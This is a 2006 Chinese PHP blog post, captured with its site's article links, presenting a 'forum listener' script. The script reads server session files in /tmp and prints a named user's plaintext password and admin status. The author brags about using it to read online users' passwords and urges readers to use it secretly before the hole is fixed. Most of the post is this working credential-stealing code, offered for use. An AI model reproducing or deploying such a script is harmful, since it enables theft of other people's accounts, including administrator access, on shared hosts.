一个查看session内容的函数


Posted in PHP onOctober 09, 2006

之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
PHP mail 通过Windows的SMTP发送邮件失败的解决方案
May 27 PHP
php 读取文件乱码问题
Feb 20 PHP
基于Discuz security.inc.php代码的深入分析
Jun 03 PHP
ThinkPHP实现批量删除数据的代码实例
Jul 02 PHP
php实现获取局域网所有用户的电脑IP和主机名、及mac地址完整实例
Jul 18 PHP
PHP实现扎金花游戏之大小比赛的方法
Mar 10 PHP
CodeIgniter基于Email类发邮件的方法
Mar 29 PHP
PHP不使用内置函数实现字符串转整型的方法示例
Jul 03 PHP
PHP设计模式之工厂模式实例总结
Sep 01 PHP
PHP PDOStatement::getColumnMeta讲解
Feb 01 PHP
PHP实现提取多维数组指定一列的方法总结
Dec 04 PHP
浅谈PHP中的那些魔术常量
Dec 02 PHP
一个显示天气预报的程序
Oct 09 #PHP
web方式ftp
Oct 09 #PHP
php中文本数据翻页(留言本翻页)
Oct 09 #PHP
自己动手做一个SQL解释器
Oct 09 #PHP
GD输出汉字的函数的分析
Oct 09 #PHP
类的另类用法--数据的封装
Oct 09 #PHP
最小化数据传输――在客户端存储数据
Oct 09 #PHP
You might like
php中显示数组与对象的实现代码
2011/04/18 PHP
Ajax请求PHP后台接口返回信息的实例代码
2018/08/21 PHP
PHP实现随机发放扑克牌
2020/04/21 PHP
JavaScript中的其他对象
2008/01/16 Javascript
javascript中字符串替换函数replace()方法与c# 、vb 替换有一点不同
2010/06/25 Javascript
javascript中关于执行环境的杂谈
2011/08/14 Javascript
javascript间隔定时器(延时定时器)学习 间隔调用和延时调用
2014/01/13 Javascript
js判断当前浏览器类型,判断IE浏览器方法
2014/06/02 Javascript
JavaScript显示当前文档最后修改日期的方法
2015/03/19 Javascript
浅析JavaScript中的对象类型Object
2016/05/26 Javascript
jquery插件bootstrapValidator数据验证详解
2016/11/09 Javascript
深入理解 JavaScript 中的 JSON
2017/04/06 Javascript
angular ng-click防止重复提交实例
2017/06/16 Javascript
NodeJS如何实现同步的方法示例
2018/08/24 NodeJs
原生JS实现手动轮播图效果实例代码
2018/11/22 Javascript
vue路由守卫,限制前端页面访问权限的例子
2019/11/11 Javascript
vue keep-alive实现多组件嵌套中个别组件存活不销毁的操作
2020/10/30 Javascript
python使用xmlrpc实例讲解
2013/12/17 Python
python黑魔法之参数传递
2016/02/12 Python
详解python中字典的循环遍历的两种方式
2017/02/07 Python
Python中django学习心得
2017/12/06 Python
20行python代码实现人脸识别
2019/05/05 Python
Python程序打包工具py2exe和PyInstaller详解
2019/06/28 Python
Python数据分析pandas模块用法实例详解
2019/11/20 Python
用python写一个带有gui界面的密码生成器
2020/11/06 Python
美国礼品卡商城: Gift Card Mall
2017/08/25 全球购物
手工制作的音乐盒:Music Box Attic
2019/09/05 全球购物
党校自我鉴定范文
2013/10/02 职场文书
幼师自荐信范文
2013/10/06 职场文书
优秀中专生推荐信
2013/11/17 职场文书
计算机多媒体专业自荐信
2014/07/04 职场文书
2014-2015学年工作总结
2014/11/27 职场文书
2015年纪委工作总结
2015/05/13 职场文书
好员工观后感
2015/06/17 职场文书
Spring Boot 实现敏感词及特殊字符过滤处理
2021/06/29 Java/Android
python实现双向链表原理
2022/05/25 Python